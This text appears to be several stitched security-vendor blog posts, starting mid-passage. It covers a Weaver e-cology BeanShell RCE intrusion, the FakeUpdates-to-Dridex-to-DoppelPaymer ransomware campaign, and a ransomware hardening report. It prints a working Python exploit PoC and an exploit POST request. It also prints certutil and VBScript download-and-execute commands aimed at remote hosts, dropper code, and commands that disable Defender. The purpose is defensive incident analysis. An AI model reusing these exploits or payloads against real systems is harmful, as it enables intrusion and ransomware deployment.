vulnerability, they attempted to further pivot control within the system through the use of Windows Management Instrumentation (WMI). They leveraged WMI's execution process, which takes Managed Object Format (MOF) files as input and compiles them into the WMI buffer, resulting in a compiled “.bmf” output file. The attackers wrote their second-stage payload and compiled it with WMI. Finally, they uploaded the compiled “.bmf” file to their web server and modified the file to masquerade as a ".rar" file . Upon further assessment of the activity, we observed that after the threat actors gained access to the affected web server, they utilized a Windows native binary called “Certutil.exe” to download malicious code from a remote resource. Our investigation revealed that an instance of the process “Certutil.exe” was executed with the following command line arguments: certutil -urlcache -split -f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar  Options Description -urlcache Display or delete URL cache entries -split Split embedded ASN.1 elements, and save to files -f Force overwrite (Source: Microsoft certutil page) FireEye has observed this methodology executed numerous times by both ethical hackers and unauthorized threat actors in addition to Certutil’s benign use as a part of legitimate business applications and operations. Shortly after the second-stage payload was downloaded, we observed several file write events related to l.rar (MD5: 4084eb4a41e3a01db2fe6f0b91064afa). Of particular note were: cmd.exe cmd /c mofcomp.exe C:\Windows\temp\l.rar cmd.exe cmd /c del C:\Windows\temp\l.rar The aforementioned commands utilize Window's "cmd.exe" interpreter to run "mofcomp.exe" on the newly obtained "l.rar". This process is designed to parse a file containing MOF statements and add any class and class instances defined in the file to the WMI repository, and subsequently delete the aforementioned file. The use of “mofcomp.exe” for attackers and defenders was first proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher Glyer and Devon Kerr in their “There’s Something about WMI” talk (Figure 1). Figure 1: Proposed use of MOF files for red and blue teams We obtained the file "l.rar" for further analysis and observed that the file header began with "FOMB". This file header when conveniently flipped is "BMOF", as in Binary Managed Object Format. With this information in hand we began searching for methods to reverse the compiled binary. Upon analyzing the file in FireEye's sandbox environment, we were able to obtain the following information from the BMOF file: On Error Resume Next:execmydler():Function execmydler():Set P=CreateObject("WinHttp.WinHttpRequest.5.1"):P[.]Open "GET","hxxp[://[DOMAIN]/d/dl[.]asp",0:P[.]Send():b=P[.]responseText:M=Spli t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od- 2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End In an attempt to masquerade activities, the attackers wrote an MOF script and compiled it into a BMOF file, then ran the malicious BMOF file on the victim machine via WMI. The aforementioned code attempts to download a second-stage payload from "hxxp[://[DOMAIN]/d/dl[.]asp" when executed. Since the WMI buffer is involved, this attack vector opens the door to gaining a persistent foothold in the victim environment. During this research period we also found an open-sourced project titled "bmfdec" that also decompiled BMOF files. #### Uncovering the Exploit The attackers were active on September 22, and as such the majority of the investigation was conducted around this timeframe. Analysis of FireEye Endpoint Security ring buffer events uncovered reconnaissance commands executed on the system including whoami, ipconfig and the downloading of additional binaries. However, further analysis of the system did not uncover an initial exploit within the same timeframe of these commands. Analysis of the HTTP logs also did not uncover the initial payload. Within the HTTP logs we identified suspicious HTTP POST requests including requests to ’/weaver/bsh.servlet.BshServlet/, but this was a busy server and the payload was not included in the logging, only metadata. Example HTTP log entry '- 2886000 10.10.10.10 - - "[23/Sep/2019:10:10:10 +0800]" "POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1" "-"' FireEye Endpoint Security has the ability to collect a memory image and this was completed on the same day as the initial activity. As memory is volatile, the earlier it's collected in an investigation the more likely you are to uncover additional evidence. We used Volatility to analyze the memory image looking for any suspicious event log entries, process creation, registry entries, etc. While reviewing the memory image, we identified numerous instances of mshta.exe spawned under javaw.exe, the creation date for these processes was 2019-09-20, and we pivoted our investigative focus to that date. .. httpd.exe 2388 604 3 84 2019-06-28 09:32:53 UTC+0000 ... java.exe 2420 2388 0 ------ 2019-06-28 09:32:53 UTC+0000 .... javaw.exe 4804 2420 36 530 2019-06-28 09:33:19 UTC+0000 ..... javaw.exe 5976 4804 177 4925 2019-06-28 09:33:21 UTC+0000 ...... mshta.exe 17768 5976 12 320 2019-09-20 14:20:00 UTC+0000 ...... mshta.exe 9356 5976 12 306 2019-09-20 11:12:04 UTC+0000 ...... mshta.exe 22416 5976 12 310 2019-09-20 11:31:14 UTC+0000 ...... mshta.exe 23240 5976 13 318 2019-09-20 14:20:01 UTC+0000 ...... mshta.exe 15116 5976 12 311 2019-09-20 11:31:23 UTC+0000 This matched our initial findings and gave us some further context. Unfortunately, the initially-acquired forensic evidence, including the endpoint triage package and the memory image, did not provide a conclusive filesystem narrative around that date. At this stage the client had pulled the system offline and began remediation steps, however we still didn't know exactly which exploit was leveraged to gain a foothold on this system. We knew the process path which indicated it was httpd.exe being leveraged to run malicious javaw.exe commands. This lined up with our HTTP log analysis, yet we didn't have the payload. #### String it to Weaver Anybody who's worked in incident response long enough knows that when parsing the data has failed to uncover the evidence you're looking for, the last thing you can try is sifting through the raw bytes and strings of a file. Volatility has a handy feature to map the string offset to the corresponding process and virtual address. Once this is complete grep searching for specific keywords and filtering through the strings identified a number of HTTP POST requests sitting in unallocated space, expanding our grep using it's context parameter uncovered interesting HTTP POST requests and their payload. Example POST payload: POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1 Host: x.x.x.x:88 Connection: close Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 Accept-Language: en-US,en;q=0.5 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 134 bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7 tBanCookie=test; Systemlanguid=7; loginidweaver=xxx st; Systemlanguid=7; loginidweaver=xxx We knew this was the exploit we were looking for. The payload was exactly what the attacker was executing and the URI confirmed the process path we had identified from the memory image. It was making a request to BshServlet. It was unclear if this vulnerability was known, as there was no CVE associated with the software. Open source research identified a number of Chinese blog sites discussing a newly identified RCE vulnerability with Weaver e-cology OA system. The vulnerability lies within the BeanShell component of the OA system. The attacker could send a specially crafted payload to ’\weaver/bsh.servlet.BshServlet` in order to launch arbitrary commands. The following POC script was discovered on one of the aforementioned Chinese blog sites. MD5: 49b23c67c2a378fb8c76c348dd80ff61 import requests import sys headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Content-Type': 'application/x-www-form-urlencoded' } def exploit(url,cmd): target=url+'/weaver/bsh.servlet.BshServlet' payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd) res=requests.post(url=target,data=payload,headers=headers,timeout=10) res.encoding=res.apparent_encoding print(res.text) if __name__ == '__main__': url=sys.argv[1] while(1): cmd=input('cmd:') exploit(url,cmd) The script contained some hardcoded HTTP header values including user-agent, accepted data types, accepted languages and content-type. The script builds an HTTP request and allows the user to specify the command they would like to run; it would then append the URL and command to the crafted exploit to execute. In our instance the attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload. Using search engines for internet connected devices such as Shodan or Censys we can quickly identify systems running the Weaver e-cology platform. Using this technique, we identified 28 internet facing system that are potentially vulnerable. #### Conclusion This isn't a new story; Managed Defense responds to cases like this every week. The usage of FOMB was particularly interesting in this instance and it's the first case in Managed Defense we've seen this technique being leveraged in an attempt to bypass defenses. When leveraged correctly, compiled “.bmf” files can be effectively used to sneak into an environment undetected and gain a foothold via persistence in the WMI buffer. There are many procedural and technical controls that could help prevent a system being compromised. Most larger enterprises are complex and identifying all publicly exposed software and services can be challenging. We’ve worked on many cases where system administrators didn’t believe their system was directly accessible from the internet only to later confirm it was. Prioritizing particular patches can be difficult and if you don’t think a RCE vulnerability is exposed then the Risk level might be incorrectly classified as low. A combination of controls is typically the best approach. In Managed Defense we assume these controls are imperfect and attackers will find a way to bypass them. Deploying strong monitoring capabilities combined with a team of analysts hunting through lower fidelity signatures or “weak signals” can uncover otherwise unnoticed adversaries. Learn more about Mandiant Managed Defense here. Catch an on-demand recap on this and the Top 5 Managed Defense attacks this year. #### Weaver Build Timeline • 2019-09-20: Weaver Patch released • 2019-09-20: Exploit observed in Managed Defense • 2019-09-22: Exploit POC blogged • 2019-10-03: First public mention outside China #### References # Head Fake: Tackling Disruptive Ransomware Attacks Within the past several months, FireEye has observed financially-motivated threat actors employ tactics that focus on disrupting business processes by deploying ransomware in mass throughout a victim’s environment. Understanding that normal business processes are critical to organizational success, these ransomware campaigns have been accompanied with multi-million dollar ransom amounts. In this post, we’ll provide a technical examination of one recent campaign that stems back to a technique that we initially reported on in April 2018. Between May and September 2019, FireEye responded to multiple incidents involving a financially-motivated threat actor who leveraged compromised web infrastructure to establish an initial foothold in victim environments. This activity bared consistencies with a fake browser update campaign first identified in April 2018 – now tracked by FireEye as FakeUpdates. In this newer campaign, the threat actors leveraged victim systems to deploy malware such as Dridex or NetSupport, and multiple post-exploitation frameworks. The threat actors’ ultimate goal in some cases was to ransom systems in mass with BitPaymer or DoppelPaymer ransomware (see Figure 1). Figure 1: Recent FakeUpdates infection chain Due to campaign proliferation, we have responded to this activity at both Mandiant Managed Defense customers and incident response investigations performed by Mandiant. Through Managed Defense network and host monitoring as well as Mandiant’s incident response findings, we observed the routes the threat actor took, the extent of the breaches, and exposure of their various toolkits. #### Knock, Knock: FakeUpdates are Back! In April 2018, FireEye identified a campaign that used compromised websites to deliver heavily obfuscated Trojan droppers masquerading as Chrome, Internet Explorer, Opera, and/or Firefox browser updates. The compromised sites contained code injected directly into the HTML or in JavaScript components rendered by the pages which had been injected. These sites were accessed by victim users either via HTTP redirects or watering-hole techniques utilized by the attackers. Since our April 2018 blog post, this campaign has been refined to include new techniques and the use of post-exploitation toolkits. Recent investigations have shown threat actor activity that included internal reconnaissance, credential harvesting, privilege escalation, lateral movement, and ransomware deployment in enterprise networks. FireEye has identified that a large number of the compromised sites serving up the first stage of FakeUpdates have been older, vulnerable Content Management System (CMS) applications. #### You Are Using an Older Version…of our Malware The FakeUpdates campaign begins with a rather intricate sequence of browser validation, performed before the final payload is downloaded. Injected code on the initial compromised page will make the user’s browser transparently navigate to a malicious website using hard-coded parameters. After victim browser information is gleaned, additional redirects are performed and the user is prompted to download a fake browser update. FireEye has observed that the browser validation sequence may have additional protections to evade sandbox detections and post-incident triage attempts on the compromise site(s). Figure 2: Example of FakeUpdate landing page after HTTP redirects The redirect process used numerous subdomains, with a limited number of IP addresses. The malicious subdomains are often changed in different parts of the initial redirects and browser validation stages. After clicking the ‘Update’ button, we observed the downloading of one of three types of files: • Heavily-obfuscated HTML applications (.hta file extensions) • JavaScript files (.js file extensions) • ZIP-compressed JavaScript files (.zip extensions) Figure 3 provides a snippet of JavaScript that provides the initial download functionality.  var domain = '//gnf6.ruscacademy[.]in/'; var statisticsRequest = 'wordpress/news.php?b=612626&m=ad2219689502f09c225b3ca0bfd8e333&y=206'; var statTypeParamName = 'st'; … var filename = 'download.hta'; var browser = 'Chrome'; var special = '1'; var filePlain = window.atob(file64); var a = document.getElementById('buttonDownload'); Figure 3: Excerpts of JavaScript code identified from the FakeUpdates landing pages When the user opens the initial FakeUpdates downloader, the Windows Scripting Host (wscript.exe) is executed and the following actions are performed: 1. A script is executed in memory and used to fingerprint the affected system. 2. A subsequent backdoor or banking trojan is downloaded if the system is successfully fingerprinted. 3. A script is executed in memory which: • Downloads and launches a third party screenshot utility. • Sends the captured screenshots to an attacker. 4. The payload delivered in step 2 is subsequently executed by the script process. The backdoor and banking-trojan payloads described above have been identified as Dridex, NetSupport Manager RAT, AZOrult, and Chthonic malware. The strategy behind the selective payload delivery is unclear; however, the most prevalent malware delivered during this phase of the infection chain were variants of the Dridex backdoor. #### FakeUpdates: More like FakeHTTP After the end user executes the FakeUpdates download, the victim system will send a custom HTTP POST request to a hard-coded Command and Control (C2) server. The POST request, depicted in Figure 4, showed that the threat actors used a custom HTTP request for initial callback. The Age HTTP header, for example, was set to a string of 16 seemingly-random lowercase hexadecimal characters. Figure 4: Initial HTTP communication after successful execution of the FakeUpdates dropper The HTTP Age header typically represents the time in seconds since an object has been cached by a proxy. In this case, via analysis of the obfuscated code on disk, FireEye identified that the Age header correlates to a scripted “auth header” parameter; likely used by the C2 server to validate the request. The first HTTP POST request also contains an XOR-encoded HTTP payload variable “a=”. The C2 server responds to the initial HTTP request with encoded JavaScript. When the code is decoded and subsequently executed, system and user information is collected using wscript.exe. The information collected from the victim system included: • The malicious script that initialized the callback • System hostname • Current user account • Active Directory domain • Hardware details, such as manufacturer • Anti-virus software details • Running processes This activity is nearly identical to the steps observed in our April 2018 post, indicating only minor changes in data collection during this stage. For example, in the earlier iteration of this campaign, we did not observe the collection of the script responsible for the C2 communication. Following the system information gathering, the data is subsequently XOR-encoded and sent via another custom HTTP POST request request to the same C2 server, with the data included in the parameter “b=”. Figure 5 provides a snippet of sample of the second HTTP request. Figure 5: Second HTTP POST request after successful system information gathering Figure 6 provides a copy of the decoded content, showing the various data points the malware transmitted back to the C2 server.  0=500 1=C:\Users\User\AppData\Local\Temp\Chrome.js 2=AMD64 3=SYSTEM1 4=User 5=4 6=Windows_NT 7=DOMAIN 8=HP 9=HP EliteDesk 10=BIOS_VERSION 11=Windows Defender|Vendor Anti-Virus 12=Vendor Anti-Virus|Windows Defender| 13=00:00:00:00:00:00 14=Enhanced (101- or 102-key) 15=USB Input Device 16=1024x768 17=System Idle Process|System|smss.exe|csrss.exe|wininit.exe|csrss.exe| winlogon.exe|services.exe|lsass.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe| svchost.exe|spoolsv.exe|svchost.exe|svchost.exe|HPLaserJetService.exe|conhost.exe… Figure 6: Decoded system information gathered by the FakeUpdates malware After receiving the system information, the C2 server responds with an encoded payload delivered via chunked transfer-encoding to the infected system. This technique evades conventional IDS/IPS appliances, allowing for the second-stage payload to successfully download. During our investigations and FireEye Intelligence’s monitoring, we recovered encoded payloads that delivered one of the following: • Dridex (Figure 7) • NetSupport Manage Remote Access Tools (RATs) (Figure 8) • Chthonic or AZORult (Figure 9)  function runFile() { var lastException = ''; try { var wsh = new ActiveXObject("WScript.Shell"); wsh.Run('cmd /C rename "' + _tempFilePathSave + '" "' + execFileName + '"'); WScript.Sleep(3 * 1000); runFileResult = wsh.Run('"' + _tempFilePathExec + '"'); lastException = ''; } catch (error) { lastException = error.number; runFileExeption += 'error number:' + error.number + ' message:' + error.message; } } Figure 7: Code excerpt observed in FakeUpdates used to launch Dridex payloads  function runFile() { var lastException = ''; try { var wsh = new ActiveXObject("WScript.Shell"); runFileResult = wsh.Run('"' + _tempFilePathExec + '" /verysilent'); lastException = ''; } catch (error) { lastException = error.number; runFileExeption += 'error number:' + error.number + ' message:' + error.message; } } Figure 8: Code excerpt observed in FakeUpdates used to launch NetSupport payloads  function runFile() { var lastException = ''; try { var wsh = new ActiveXObject("WScript.Shell"); runFileResult = wsh.Run('"' + _tempFilePathExec + '"'); lastException = ''; } catch (error) { lastException = error.number; runFileExeption += 'error number:' + error.number + ' message:' + error.message; } } Figure 9: Code excerpt observed in FakeUpdates used to launch Chthonic and AZORult payloads During this process, the victim system downloads and executes nircmdc.exe, a utility specifically used during the infection process to save two system screenshots. Figure 10 provides an example command used to capture the desktop screenshots.  "C:\Users\User\AppData\Local\Temp\nircmdc.exe" savescreenshot "C:\Users\User\AppData\Local\Temp\6206a2e3dc14a3d91.png" Figure 10: Sample command used to executed the Nircmd tool to take desktop screenshots The PNG screenshots of the infected systems are then transferred to the C2 server, after which they are deleted from the system. Figure 11 provides an example of a HTTP POST request, again with the custom Age and User-Agent headers. Figure 11: Screenshots of the infected system are sent to an attacker-controlled C2 Interestingly, the screenshot file transfers were neither encoded nor obfuscated, as with other data elements transferred by the FakeUpdates malware. As soon as the screenshots are transferred, nircmdc.exe is deleted. #### All Hands on Deck In certain investigations, the incident was far from over. Following the distribution of Dridex v4 binaries (botnet IDs 199 and 501), new tools and frameworks began to appear. FireEye identified the threat actors leveraged their Dridex backdoor(s) to execute the publicly-available PowerShell Empire and/or Koadic post-exploitation frameworks. Managed Defense also identified the FakeUpdates to Dridex infection chain resulting in the download and execution of PoshC2, another publicly available tool. While it could be coincidental, it is worth noting that the use of PoshC2 was first observed in early September 2019 following the announcement that Empire would no longer be maintained and could represent a shift in attacker TTPs. These additional tools were often executed between 30 minutes and 2 hours after initial Dridex download. The pace of the initial phases of related attacks possibly suggests that automated post-compromise techniques are used in part before interactive operator activity occurs. We identified extensive usage of Empire and C2 communication to various servers during these investigations. For example, via process tracking, we identified a Dridex-injected explorer.exe executing malicious PowerShell: a clear sign of an Empire stager: Figure 12: An example of PowerShell Empire stager execution revealed during forensic analysis In the above example, the threat actors instructed the victim system to use the remote server 185.122.59[.]78 for command-and-control using an out-of-the-box Empire agent C2 configuration for TLS-encrypted backdoor communications. During their hands-on post-exploitation activity, the threat actors also moved laterally via PowerShell remoting and RDP sessions. FireEye identified the use of WMI to create remote PowerShell processes, subsequently used to execute Empire stagers on domain-joined systems. In one specific case, the time delta between initial Empire backdoor and successful lateral movement was under 15 minutes. Another primary goal for the threat actor was internal reconnaissance of both the local system and domain the computer was joined to. Figure 13 provides a snippet of Active Directory reconnaissance commands issued by the attacker during one of our investigations. Figure 13: Attacker executed commands The threat actors used an Empire module named SessionGopher and the venerable Mimikatz to harvest endpoint session and credential information. Finally, we also identified the attackers utilized Empire’s Invoke-EventVwrBypass, a Windows bypass technique used to launch executables using eventvwr.exe, as shown in Figure 14. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -c$x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc$x

Figure 14: PowerShell event viewer bypass

#### Ransomware Attacks & Operator Tactics

Within these investigations, FireEye identified the deployment BitPaymer or DoppelPaymer ransomware. While these ransomware variants are highly similar, DoppelPaymer uses additional obfuscation techniques. It also has enhanced capabilities, including an updated network discovery mechanism and the requirement of specific command-line execution. DoppelPaymer also uses a different encryption and padding scheme.

The ransomware and additional reconnaissance tools were downloaded through public sharing website repositories such as DropMeFiles and SendSpace. Irrespective of the ransomware deployed, the attacker used the SysInternals utlity PSEXEC to distribute and execute the ransomware.

Notably, in the DoppelPaymer incident, FireEye identified that Dridex v2 with the Botnet ID 12333 was downloaded onto the same system previously impacted by an instance of Dridex v4 with Botnet ID 501. Within days, this secondary Dridex instance was then used to enable the distribution of DoppelPaymer ransomware.  Prior to DoppelPaymer, the threat actor deleted volume shadow copies and disabled anti-virus and anti-malware protections on select systems. Event log artifacts revealed commands executed through PowerShell which were used to achieve this step (Figure 15):

 Event Log EID Message Microsoft-Windows-PowerShell%4Operational 600 HostApplication=powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true Microsoft-Windows-PowerShell%4Operational 600 HostApplication=powershell.exe Uninstall-WindowsFeature -Name Windows-Defender Application 1034 Windows Installer removed the product. Product Name: McAfee Agent-++-5.06.0011-++-1033-++-1603-++-McAfee, Inc.-++-(NULL)-++--++-. Product Version: 82. Figure 15: Event log entries related to the uninstallation of AV agents and disablement of real-time monitoring The DoppelPaymer ransomware was found in an Alternate Data Stream (ADS) in randomly named files on disk. ADSs are attributes within NTFS that allow for a file to have multiple data streams, with only the primary being visible in tools such as Windows Explorer. After ransomware execution, files are indicated as encrypted by being renamed with a “.locked” file extension. In addition to each “.locked” file, there is a ransom note with the file name “readme2unlock.txt” which provides instructions on how to decrypt files. Figure 16: DoppelPaymer ransomware note observed observed during a Mandiant Incident Response investigation #### Ransomware? Not In My House! Over the past few years, we have seen ransomware graduate from a nuisance malware to one being used to extort victim networks out of significant sums of money. Furthermore, threat actors are now coupling ransomware with multiple toolkits or other malware families to gain stronger footholds into an environment. In this blog post alone, we witnessed a threat actor move through multiple toolsets - some automated, some manual - with the ultimate goal of holding the victim organization hostage. Ransomware also raises the stakes for unprepared organizations as it levels the playing field for all areas of your enterprise. Ransomware proves that threat actors don’t need to get access to the most sensitive parts of your organization – they need to get access to the ones that will disrupt business processes. This widens your attack surface, but luckily, also gives you more opportunity for detection and response. Mandiant recently published an in depth white paper on Ransomware Protection and Containment Strategies, which may help organizations mitigate the risk of ransomware events. #### Indicators The following indicator set is a collective representation of artifacts identified during investigations into multiple customer compromises.  Type Indicator(s) FakeUpdates Files 0e470395b2de61f6d975c92dea899b4f 7503da20d1f83ec2ef2382ac13e238a8 102ae3b46ddcb3d1d947d4f56c9bf88c aaca5e8e163503ff5fadb764433f8abb 2c444002be9847e38ec0da861f3a702b 62eaef72d9492a8c8d6112f250c7c4f2 175dcf0bd1674478fb7d82887a373174 10eefc485a42fac3b928f960a98dc451 a2ac7b9c0a049ceecc1f17022f16fdc6 FakeUpdates Domains & IP Addresses <8-Characters>.green.mattingsolutions[.]co <8-Characters>.www2.haciendarealhoa[.]com <8-Characters>.user3.altcoinfan[.]com 93.95.100[.]178 130.0.233[.]178 185.243.115[.]84 gnf6.ruscacademy[.]in backup.awarfaregaming[.]com click.clickanalytics208[.]com track.amishbrand[.]com track.positiverefreshment[.]org link.easycounter210[.]com nircmdc.exe 8136d84d47cb62b4a4fe1f48eb64166e Dridex 7239da273d3a3bfd8d169119670bb745 72fe19810a9089cd1ec3ac5ddda22d3f 07b0ce2dd0370392eedb0fc161c99dc7 c8bb08283e55aed151417a9ad1bc7ad9 6e05e84c7a993880409d7a0324c10e74 63d4834f453ffd63336f0851a9d4c632 0ef5c94779cd7861b5e872cd5e922311 Empire C2 185.122.59[.]78 109.94.110[.]136 #### Detecting the Techniques FireEye detects this activity across our platforms, including named detections for Dridex, Empire, BitPaymer and DoppelPaymer Ransomware. As a result of these investigations, FireEye additionally deployed new indicators and signatures to Endpoint and Network Security appliances. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.  Platform Signature Name Endpoint Security HX Exploit Detection Empire RAT (BACKDOOR) EVENTVWR PARENT PROCESS (METHODOLOGY) Dridex (BACKDOOR) Dridex A (BACKDOOR) POWERSHELL SSL VERIFICATION DISABLE (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) FAKEUPDATES SCREENSHOT CAPTURE (METHODOLOGY) Network Security Backdoor.FAKEUPDATES Trojan.Downloader.FakeUpdate Exploit.Kit.FakeUpdate Trojan.SSLCert.SocGholish #### MITRE ATT&CK Technique Mapping  ATT&CK Techniques Initial Access Drive-by Compromise (T1189), Exploit Public-Facing Application (T1190) Execution PowerShell (T1086), Scripting (T1064), User Execution (T1204), Windows Management Instrumentation (T1047) Persistence DLL Search Order Hijacking (T1038) Privilege Escalation Bypass User Account Control (T1088), DLL Search Order Hijacking (T1038) Defense Evasion Bypass User Account Control (T1088), Disabling Security Tools (T1089), DLL Search Order Hijacking (T1038), File Deletion (T1107), Masquerading (T1036), NTFS File Attributes (T1096), Obfuscated Files or Information (T1027), Scripting (T1064), Virtualization/Sandbox Evasion (T1497) Credential Access Credential Dumping (T1003) Discovery Account Discovery (T1087), Domain Trust Discovery (T1482), File and Directory Discovery (T1083), Network Share Discovery (T1135), Process Discovery (T1057), Remote System Discovery (T1018), Security Software Discovery (T1063), System Information Discovery (T1082), System Network Configuration Discovery (T1016), Virtualization/Sandbox Evasion (T1497) Lateral Movement Remote Desktop Protocol (T1076), Remote File Copy (T1105) Collection Data from Local System (T1005), Screen Capture (T1113) Command And Control Commonly Used Port (T1436), Custom Command and Control Protocol (T1094) ,Data Encoding (T1132), Data Obfuscation (T1001), Remote Access Tools (T1219), Remote File Copy (T1105), Standard Application Layer Protocol (T1071) Exfiltration Automated Exfiltration (T1020), Exfiltration Over Command and Control Channel (T1041) Impact Data Encrypted for Impact (T1486), Inhibit System Recovery (T1490), Service Stop (T1489) #### Acknowledgements A huge thanks to James Wyke and Jeremy Kennelly for their analysis of this activity and support of this post. Catch an on-demand recap on this and the Top 5 Managed Defense attacks this year. # Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment UPDATE (Oct. 30, 2020): We have updated the report to include additional protection and containment strategies based on front-line visibility and response efforts in combating ransomware. While the full scope of recommendations included within the initial report remain unchanged, the following strategies have been added into the report: • Windows Firewall rule configurations to block specific binaries from establishing outbound connections from endpoints • Domain Controller isolation and recovery planning steps • Proactive GPO permissions review and monitoring guidance Ransomware is a global threat targeting organizations in all industries. The impact of a successful ransomware event can be material to an organization - including the loss of access to data, systems, and operational outages. The potential downtime, coupled with unforeseen expenses for restoration, recovery, and implementation of new security processes and controls can be overwhelming. Ransomware has become an increasingly popular choice for attackers over the past few years, and it’s easy to understand why given how simple it is to leverage in campaigns – while offering a healthy financial return for attackers. In our latest report, Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment, we discuss steps organizations can proactively take to harden their environment to prevent the downstream impact of a ransomware event. These recommendations can also help organizations with prioritizing the most important steps required to contain and minimize the impact of a ransomware event after it occurs. Ransomware is commonly deployed across an environment in two ways: 1. Manual propagation by a threat actor after they’ve penetrated an environment and have administrator-level privileges broadly across the environment: • Manually run encryptors on targeted systems. • Deploy encryptors across the environment using Windows batch files (mount C$ shares, copy the encryptor, and execute it with the Microsoft PsExec tool).
• Deploy encryptors with Microsoft Group Policy Objects (GPOs).
• Deploy encryptors with existing software deployment tools utilized by the victim organization.
2. Automated propagation:
• Credential or Windows token extraction from disk or memory.
• Trust relationships between systems – and leveraging methods such as Windows Management Instrumentation (WMI), SMB, or PsExec to bind to systems and execute payloads.
• Unpatched exploitation methods (e.g., EternalBlue – addressed via Microsoft Security Bulletin MS17-010).

The report covers several technical recommendations to help organizations mitigate the risk of and contain ransomware events including:

• Endpoint segmentation
• Hardening against common exploitation methods
• Reducing the exposure of privileged and service accounts